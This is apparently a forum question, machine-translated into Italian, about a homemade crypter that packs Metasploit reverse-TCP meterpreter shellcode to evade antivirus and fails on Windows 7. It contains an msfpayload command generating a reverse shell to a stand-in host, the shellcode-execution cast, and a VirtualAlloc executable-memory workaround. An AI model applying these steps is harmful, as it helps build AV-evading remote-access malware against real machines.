I posted this on stackoverflow, was advised to move it to security section.
Stavo scrivendo un criptaggio eseguibile come esercizio con l'obiettivo dell'evasione antivirus, ora il problema è che l'eseguibile finale non funziona su Windows 7. Funziona perfettamente su Windows XP.
Ai fini del test, ho preso il payload meterpreter di metasploit, ho esportato il suo shellcode e l'ho compilato nella mia cripta eseguibile. (Non menzionerò i dettagli del codificatore eseguibile).
Questi erano i miei passi:
-
Ho ottenuto lo shellcode esportato in un file C
msfpayload windows / shell / reverse_tcp_dns LHOST = somewhere.com LPORT = 1234 C > shell_code.c
-
Ho preso solo lo shellcode del vettore di malware e non la DLL che si trova in cima al file, sembra che segua
unsigned char buf []="\ xfc \ x ..........................";
-
Ho preso questo (una versione di crittografia)
Fondamentalmente dopo la decodifica / decrittografia, lo shellcode viene eseguito gettandolo in una funzione come
(*(int(*)()) buf)();
Tutto funziona come previsto in Windows XP, ma non funziona su Windows 7.
Non ho idea delle ragioni e ogni aiuto sarà apprezzato.
NOTA: Non ho Windows 7, l'ho testato sotto Windows XP (SP2) virtualizzato ...
EDIT: se aiuta, il metasploit gira su linux, l'eseguibile è stato compilato usando Express Edition VS C ++ 2008, l'eseguibile finale funziona bene su tutte le macchine Windows XP.
EDIT (1 agosto 2012): Seguendo il consiglio di @Rook, ho provato a VirtualAlloc con l'autorizzazione PAGE_EXECUTE_READWRITE e poi WriteProcessMemory, l'ultimo PE funziona solo su Windows XP (sp2) non su Windows 7.
EDIT: PE sembra funzionare correttamente con Windows 7 (Build 7601, Service Pack 1), in WOW64